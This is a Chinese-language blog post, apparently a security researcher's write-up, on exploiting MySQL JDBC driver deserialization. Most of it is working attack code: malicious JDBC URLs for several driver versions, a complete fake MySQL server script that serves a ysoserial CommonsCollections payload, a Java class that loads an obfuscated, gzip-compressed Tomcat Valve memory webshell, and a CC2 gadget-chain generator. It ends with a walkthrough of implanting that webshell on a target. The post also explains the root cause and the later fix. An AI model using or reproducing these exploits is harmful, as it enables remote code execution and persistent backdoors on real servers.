MySQL_JDBC反序列化
文章目录
Gadget Chain
如下图所示，关键点是：ResultSetImpl#getObject()：
POC
# 8.0.11版本测试通过，8.0.22版本测试不通过
jdbc:mysql://xx.xx.xx.xx:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=root&password=123456&serverTimezone=GMT
# 6.x(网传版本,未测试)
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
# >=5.1.11(网传版本,未测试)
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
# 5.x <= 5.1.10，同上，但需要连接后执行查询。detectCustomCollations为触发点。(网传版本,未测试)
# 5.1.29 - 5.1.40(网传版本,未测试)
jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true
# 5.1.28 - 5.1.19(网传版本,未测试)
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true
使用如上POC进行数据库连接测试，还需要一个Mysql服务端，可以利用如下python2脚本开启一个虚拟的Mysql服务，可以发送恶意的反序列化字节码：
# coding=utf-8
import socket
import binascii
import os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"
def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()
def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))
def get_payload_content():
#file文件的内容使用ysoserial生成的 使用规则：java -jar ysoserial [Gadget] [command] > payload
file= r'payload'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read())).encode("utf-8")
print("open successs")
else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content
# 主要逻辑
def run():
while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))
# 1.先发送第一个 问候报文
send_data(conn,greeting_data)
while True:
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)
#其他过程
data=receive_data(conn)
#查询一些配置信息,其中会发送自己的 版本号
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 为什么我加了EOF Packet 就无法正常运行呢？？
# 获取payload
payload_content=get_payload_content()
# 计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
# 计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break
if name == ‘main’: HOST =‘0.0.0.0’ PORT = 3307
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)
print("start fake mysql server listening on {}:{}".format(HOST,PORT))
run()
对于目标不出网，可以直接先盲猜CC链反序列化，然后植入内存马即可。
关键点分析
ResultSetImpl#getObject()中存在反序列化，如下图所示：
那么如何调用到ResultSetImpl#getObject()的呢？主要逻辑为：为JDBC连接设置一个ServerStatusDiffInterceptor过滤器，然后JDBC连接过程中会自动执行一些SQL语句，例如： set autocommit=1 ,就会触发过滤器中的如下代码，从而调用到ResultSetImpl#getObject()：
最终高版本中的修复，是将ServerStatusDiffInterceptor#populateMapWithSessionStatusValues()中的代码换成了如下，不再调用ResultSetImpl#getObject()，而是调用ResultSetImpl#getString()，所以不能触发反序列化了：
攻击演示
这里手工写一个CC2的利用链，效果为植入Tomcat Valve内存马(可以参考本人博客中的Tomcat Valve内存马)。首先写一个AbstractTranslet的超类：
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class EvalTemp extends AbstractTranslet {
static {
try{
java.lang.ClassLoader classLoader = (java.lang.ClassLoader) Thread.currentThread().getContextClassLoader();
java.lang.reflect.Method defineClass = java.lang.ClassLoader.class.getDeclaredMethod("defineClass",new Class[] {byte[].class, int.class, int.class});
defineClass.setAccessible(true);
String evalBase64 = "H4sIAAAAAAAAAI1WWXMTRxD+RtesVwsGGdvIXHHCIRvwhkBIkAgJmDOxDbGIiYEc4/VgLUi7YndlG8hF7oOc5DKpykseqMpbqlICQoXwxEP+SP4FpGclQMaisKs8R/dM99fd3/Tq39t/3QCwBb/oWIVBDUNJHMQhDS/rSGJYQ17HYbyiNiMajqj5VY5RDUc1HNNwXMNrOl7HG2p4U4fAGIelow3jGqSaT6hhQg2FJGyc1HEKRTWUdKyEk4SLMsdpDo8hsd127GAHQzTTM8IQ63fHJUPrgO3IoUppTHqHxViRJKkB1xLFEeHZal8XxoKC7TN0DuQD4YwLb7zfdQI5Hfgjojgpc2TddibdU3RyODPgehOmKAurIE1LBKJoO8K0XMeRVuB65rA8XZF+kHvkMb/sOr7MKbDc9glnZZqBHWWIu/7hM2WF9KSYFGZROBNmPvBsZ4KAxKzSOCFtO9ZMGbEdhvaaxnbNA065EpBSihIpmbpW01UCu2jmLUFgPBWcWwnoJOHwauAZ1s0zSgbNq0fC8OjU1GOmIpEn5UXBmTZ96U0WZWAWgqBs7qchXxPc9xJTXpSHR12474ESxbCACmqdGhTlsNAhV3yOgKPCMUlc5OjjmCLaMeh7pi1ZDmy6zzHNcYZh0aAMCu74IeGJkgykRxnU827Fs+ReW9Gmqyld+hRGA4+hm1Jb3uRs2+yRPwNncY4BBt7C25Rq1+9zyCrHOwbexTkD7+E8oZ6yHQPv4wNy/mCBqb5+gYaNBJZTdH1ymjBETIvjQwMf4WMDn+BTjs8MfI4vGBbPqbUCdYGuHN9p4Et8ZeBrfGPgW5ynZBj4Dhc5vjfwA3408BO6DfyMGY5LBtYhQ7xqGizD6mZFn1Q63wyP7BKKHGvmRSiGtfPjEBmcF3fI4PwoQ4+jybtplB68RxCGlbON1m01HDAmZHCPNwQiM/e99jR7wgmCLYpEtPbGGwfHTlL4uZ6js2lxxg8kQUwqX55bll5ApE0G7oA7Jb3+MO1LMk3daJTRQNgOOVrW6Ki/ILy8ypxjydDd4vu64YoT2CWyqZO/e5v2WQ7qYvViiZ1E1EymSadqvEHALen7uVmu6kKGheRqVjk677qb09+WZpoqVH81Kr7cLYt2yQ6Lse7hxXigM/KC8IeI6+FXhbIRc8JNC6E64tWMNQI6RKbqilwDcxrE1N2n1OKB+t4FQVjjJ4oV9cw5+ai5XkEemj2Ku9+m9EOV6KbP5CqovwiY6kg0Pk47k2bqRYj3XgH7I1Q/QWMiFC7Caqg+FR7AGqylmakegKi6zP5DjLTAzfVDG7KxjanINUQjyMbT8Vv4LRVLx6uIX8JMbGsilbgKnuVpfgttaV6FlmqpQp9BIro10Z6YQTrxN5Kj0ZSRH42lFuRHyUT+Mjrq0oVK2lqTZrWrWJTWqlhcRSrbch1to+mWK1iSaq+iI6un9So6Z5BU89LLiKdi2WQ6dg1pyk6yiq76uoplvVUsX7/hGlZEoeKOhnHvophBvzIiWEIRt6MVHZS4TkrXUoo6jSy68ByWo4QV1MVXUntdhV8pnb/TiT/Jwj+UMZWzs5SXblxED3oplxlcwHpsAKd7+7ARfdDoRJaS/yRayEYvNuEp6GSpA5vpXFLltJ5vtdqCp8Ma3MRWPEPYIriBZ7GNMMdxnezkqA6tFMV2uhsnfMAgEndooXHs4Hie4wWOnRy7OPoZ/QNdwxy7b6tP3m6OPRx7Sdt/hwJNzL1B5vaFlIhgPw7gRVq3RAgTCI3iw0shawb+B6kuAzUECgAA";
byte[] evalBytes = java.util.Base64.getDecoder().decode(evalBase64);
java.io.ByteArrayInputStream byteInputStream = new java.io.ByteArrayInputStream(evalBytes);
java.io.ByteArrayOutputStream byteOutputStream = new java.io.ByteArrayOutputStream();
java.util.zip.GZIPInputStream gzipInputStream = new java.util.zip.GZIPInputStream(byteInputStream);
byte[] buffer = new byte[1024];
for (int i=-1;(i=gzipInputStream.read(buffer)) >0;){
byteOutputStream.write(buffer,0,i);
}
byte[] bytes = byteOutputStream.toByteArray();
defineClass.invoke(classLoader, new Object[] {bytes, 0, bytes.length});
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
org.apache.catalina.webresources.StandardRoot standardroot = (org.apache.catalina.webresources.StandardRoot) webappClassLoaderBase.getResources();
org.apache.catalina.core.StandardContext standardContext = (org.apache.catalina.core.StandardContext)standardroot.getContext();
org.apache.catalina.valves.ValveBase evalValve=(org.apache.catalina.valves.ValveBase)Class.forName("StandardContextsValve").newInstance();
standardContext.getPipeline().addValve(evalValve);
}catch (Exception e){
System.out.println(e.getMessage());
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
然后CC2链走起，运行main函数生成反序列化后的恶意类，保存在E://jdbc.serial：
/**
* @author : p1n93r
* @date : 2021/5/31 15:07
*/
public class Payload1 {
public TemplatesImpl getTemplate() throws Exception{
InputStream in = Payload1.class.getClassLoader().getResourceAsStream("EvalTemp.class");
byte[] bytes = new byte[in.available()];
in.read(bytes);
// 得到恶意类的字节码
byte[] evalByte = bytes;
TemplatesImpl templates = TemplatesImpl.class.getConstructor(new Class[0]).newInstance();
Class<? extends TemplatesImpl> clazz = templates.getClass();
// 将恶意字节码填充到TemplatesImpl对象中
Field bytecodes = clazz.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{evalByte});
// 还需要设置TemplatesImpl对象的_name属性，否则不能顺利执行：TemplatesImpl#getTransletInstance()
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"p1n93r");
return templates;
}
public Object getObject() throws Exception {
final Object templates = this.getTemplate();
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
queue.add(1);
queue.add(1);
Class<? extends InvokerTransformer> clazz = transformer.getClass();
Field iMethodName = clazz.getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
Class<? extends PriorityQueue> queueClazz = queue.getClass();
Field declaredField = queueClazz.getDeclaredField("queue");
declaredField.setAccessible(true);
Object[] queueArray = (Object[]) declaredField.get(queue);
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
public static void main(final String[] args) throws Exception {
Payload1 createObjectPayload = new Payload1();
Object evalObject = createObjectPayload.getObject();
FileOutputStream fileOutputStream = new FileOutputStream(new File("E://jdbc.serial"));
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(evalObject);
objectOutputStream.close();
}
}
然后将jdbc.serial上传到VPS，再在同目录下开启前面的python2脚本，如下所示：
然后在含有漏洞的地方，填写如下信息：
请求Mysql成功，如下所示：
成功植入内存马(其实也可以直接反弹shell啥的，但是这台机器不出网，只能写内存马了)：
参考连接
文章作者 P1n93r
上次更新 2021-06-15